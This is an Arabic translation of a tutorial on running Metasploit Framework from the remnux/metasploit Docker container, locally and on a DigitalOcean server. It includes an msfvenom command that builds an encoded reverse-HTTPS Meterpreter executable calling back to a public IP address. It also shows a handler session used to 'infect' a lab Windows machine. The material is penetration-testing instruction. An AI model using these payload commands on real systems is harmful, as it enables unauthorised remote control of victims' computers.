Metasploit Framework  هي أداة قوية مفتوحة المصدر لاختبار الاختراق. سواء كنت تريد استخدامها للعمل أو تود فقط في تجريبتها، يمكنك تشغيل Metasploit Framework  في  Docker container  دون الحاجة للتعامل مع متاعب تثبيت الكود وتبعياته . صورة  remnux / metasploit”  Docker” تتوفر كجزء من مجموعة REMnux، وذلك بفضل جهود Jean Christophe Baptiste في الترتيب .

الإرشادات والأمثلة التالية توضح كيف يمكنك البدء باستخدام  Metasploit Docker container هذه في المختبر وكذلك في خادم يمكن الوصول إليه بشكل عام. توفر ال Containers   سطر الأوامر نسخة Metasploit Framework  من الأداة. إلا أنها تفتقر إلى واجهة على شبكة الإنترنت والتي يمكنك  الحصول عليها إذا  قمت بتثبيت نسخة Free Community ، والتي قد تحتاج إلى تسجيلها لدى Rapid 7 .   ان امكانيات سطر الأوامر من Metasploit Framework  فعالة جدا وتصلح مهام  اختبار اختراق  تنطوي على تشغيل الأداة على نظام بعيد.

 

كيفية تشغيلMetasploit  Framework Docker container  :


للاستفادة من صورة  Metasploit Framework  Docker container ، كل ما تحتاجه هو نظام قوي بما فيه الكفاية، ومتصلا بشبكة الإنترنت و يحتوي على Docker  مثبتا عليه. عند تشغيلك لأمر مثل الذي أدناه على مثل هذا المضيف، فإنه سيتم تلقائيا تحميل صورة من  مستودع remnux وتشغيلها:

sudo docker run –rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

 

في هذا المثال، قمنا بتوجيه Docker  لتشغيل تطبيق “remnux / metasploit” في transient container ، والذي سوف يختفي فور الخروج منه (وهذا  ما صمم “-rm” لأجله ) إن الخيار it  يسمح لك بالتفاعل مع ال Container باستخدام interactive shell. للتأكد من أن البيانات ذات الصلة انتشرت في جميع أنحاء Container invocation ، وقد استخدمنا  -v  لتحديد الإتجاهات  المضيف إلى المواقع  المقابلة داخل الContainer . الفكرة هي استخدام دليل “msf4./~” لملفات تكوين metasploit Framework   . إن مسار  “/tmp/msf” على المضيف يمكنه تخزين البيانات الأخرى التي قد ترغب في إلاحتفاظ بها ، مثل ال Artifacts  التي قد تحصل عليها من النظام المستهدف. إن محددات “-p”  او المنافذ  التي تتوقع الحصول على الاتصالات الواردة للمنافذ المقابلة  داخل ال Container . المثال أعلاه استخدمنا منفذ TCP 443 مع توقع اتصالات HTTPS  الواردة من reverse shells .

 

launching-metasploit-container-1024x372

 

الصورة  كبيرة جدا : أكثر من حجم 1.2GB ، لأنها تتضمن بيئة التشغيل كاملة  ل Metasploit Framework  ،  مع جميع توابعها. وستخزن مؤقتاً محلياً  بعد التحميل الأولي. إذا كنت ترغب في إعادة تحميل الصورة لضمان انك تستخدم أحدث إصدار استخدام أمر  “sudo docker pull remnux/metasploit”.

تم تهيئة  ال Container لتحديث وحدات metasploit  بشكل تلقائي  عند تشغيلها.  لإضافة وحدات خاصة بك ، اضفها  إلى دليل  المضيف الخاص بك  msf4./~

 

اختبار تشغيل  ال Metasploit Framework Container 

وهنا كيف يمكنك بدء التجارب مع Metasploit Framework   بعد تشغيل  “remnux / metasploit” container   في المختبر الخاص بك. سوف نتستهدف نظام Windows  ذي تكوين ضعيف في مختبرنا على سبيل المثال. سنتوجه Metasploit Framework  للاتصال عن بعد  بالنظام باستخدام بيانات الاعتماد التي زودناه بها، بدلا من استغلال الضعف فعلاً . بعد ذلك سنفتح  reverse HTTPS shell الى وحدة تحكم Metasploit Framework  الخاصة بنا.

 

msfconsole-inside-metasploit-container-1024x807

في الشكل أعلاه، قمنا بتشغيل اداة metasploit   msfconsole ، ثم وجهناها  لتعطينا  meterpreter shell  فعالة للنظام  المستهدف . وقد جرى الاتصال عبر HTTPS ، التي كانت موجهة إلى metasploit Framework  Container  عبر برنامج التعاون TCP  443. ان لقطة الشاشة التي حفظناها باستخدام هذه الجلسة وضعت في دليل بيانات / tmp / داخل Container . عندما خرجنا من ال Container ،  فإن محتويات ذاك الدليل بقيت على  المضيف الأساسي الخاص بنا في مسار  tmp/msf/

 

تشغيل Metasploit Framework Container  في ال public cloud :


عند إجراء اختبار الاختراق، سترغب حتماً  في تشغيل Metasploit على نظام متصل بشبكة الإنترنت. يمكنك القيام بذلك بسهولة تامة من خلال إنشاء خادم مؤقت مع بعض مزودي public cloud  ، ثم تشغيل  Metasploit Framework Container  على ذاك المضيف.
على سبيل المثال، هنا  كيف يمكن تحقيق ذلك باستخدام DigitalOcean، الذي نود أن نستخدمه بسبب انخفاض التكلفة والموثوقية العالية. على الرغم من ان  DigitalOcean  يدير الأجهزة الظاهرية ب 5 $ شهريا فقط ، وجدنا ان هذا النظام ينتهي به الحال  بذاكرة RAM غير كافية لMetasploit. لذلك، قمنا بوضع خيار ال  10 $ شهرياً لمضيف Ubuntu.

 

digital-ocean-choose-a-size-1024x225 (1)

 

سرعان ما يتم تنشيط النظام الجديد، يمكنك تسجيل الدخول إليه وتنفيذ الأوامر التالية لتثبيت Docker container على المضيف:

apt-key adv –keyserver hkp://p80.pool.sks-keyservers.net:80 –recv-keys 58118E89F3A912897C070ADBF76221572C52609D
add-apt-repository -y “deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main”
apt-get update
apt-get -y dist-upgrade
apt-get -y install docker-engine

بعد ذلك، يمكنك توجيه؛ Docker container  لتحميل وإطلاق  Metasploit Framework Container باستخدام الأمر مثل الموجود في بداية هذه المقالة.

sudo docker run –rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

 

على سبيل المثال، قررنا استخدام Metasploit لإنشاء ملف قابل للتنفيذ و مستتر و مستقل، والذي نود تشغيله  على نظام ويندوز المستهدف لمحاكاة سيناريو حيث يتم خداع الضحية بتشغيل البرامج الخبيثة. قمنا بتشغيل  أداة “msfvenom” داخل  Metasploit Framework Container  لتحقيق ذلك:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=104.236.213.164 LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe

 

بما ان الدليل الحالي داخل ال Container  هو بيانات /Tmp / بشكل افتراضي، فقد تم وضع الملف الناتج هناك. لأننا عيينا هذا الدليل إلى دليل /tmp/msf directory,  المضيف، كنا قادرين على اخذه من هناك ونقله إلى مختبر اجهزة Windows الخاصة بنا .

ثم شغلنا  “msfconsole” داخل ال Container  ووجهنا الأداة لاستخدام معالجات / متعددة ، والذي تم تصميمه لقبول الاتصالات الناشئة  خارج واجهة “msfconsole”. حالما تم تفعيلreverse-HTTPS listener  قمنا ب “بإصابة ”  نظام Windows الخاص بنا مع file.exe التي تم إنشاؤها سابقا، والذي أتم الاتصال، وزودنا ب Meterpreter shell .

 

msfconsole-multi-handler-public-cloud-1024x511

وكما كان الحال في المثال السابق، فقد قمنا بحفظ لقطة الشاشة من نظام ويندوز إلى  بيانات / tmp / ، والتي تسمح لي الاحتفاظ بها حتى بعد إنهاء ال Container .

قدرات إضافيه لل Containers 

ويشمل  Metasploit Framework Container أيضا  أداة المسح الضوئي Nmap  ، والتي يمكن تشغيلها باستخدام أمر  “NMAP”. فإنها توفر وسيلة قوية لفحص الشبكات وألانظمة لتحديد اين يحتمل وجود ضعف ولتحديد مكان تركيز جهود Metasploit الخاص بك. ويشمل ال Container أيضا NASMdisassembler.
وبالإضافة إلى ذلك يتضمن ال Container  أداة tmuxterminal multiplexer . والتي  تسمح لك بإطلاق عدة نوافذ “افتراضية” داخل single terminal window.  تكوين ال Container  لهذه الأداة CTRL + A كمفتاح الأوامر، بدلا من الافتراضي السيطرة CTRL +B. للاستفادة منه، اكتب “tmux” بعد تشغيل Metasploit Framework Container  .  وسوف يعطيك shell  داخل أحدى نوافذ الأداة “الإفتراضية”. لفتح واحد آخر، اضغط Ctrl +a  يليه “c”. للتبديل بين النوافذ اكتب  CTRL +a  يليه رقم تلك النافذة (مثل Ctrl + وتليها “0” أو “1”).
على سبيل المثال، يمكنك استخدام tmux لتشغيل Nmap في نافذة واحدة وmsfconsole في نافذة آخرى. يمكنك قراءة البرنامج التعليمي حول كيفية استخدام tmux للبدء مع هذه الأداة

 

tmux-nmap-in-metasploit-container-1024x601

في الختام : 


Docker containers توفر وسيلة مريحة لتشغيل Metasploit Framework  دون الحاجة للتعامل مع تثبيت رمز الأداة وتبعياتها. تشغيل Metasploit بهذه الطريقة مفيد خاصة في الحالات التي ترغب في نشرها بسرعة إلى النظام الجديد، مثل التي يتم تشغيلها  في public cloud ، ومن ثم انهاء السيرفر دون أن تفقد التخصيصات أو البيانات الخاصة بك. من ناحية أخرى، فإن هذا النهج يتطلب بعض الألفة مع Docker container .
يرجع الفضل ل Jean Christophe Baptiste لإنشاء  والحفاظ على ال Dockerfile وملفات التكوين المقترنة التي تستند إليها  صورة “remnux / metasploit”.

ترجمة لمقال : Run Metasploit Framework as a Docker Container Without Installation Pains لصاحبها Lenny Zeltser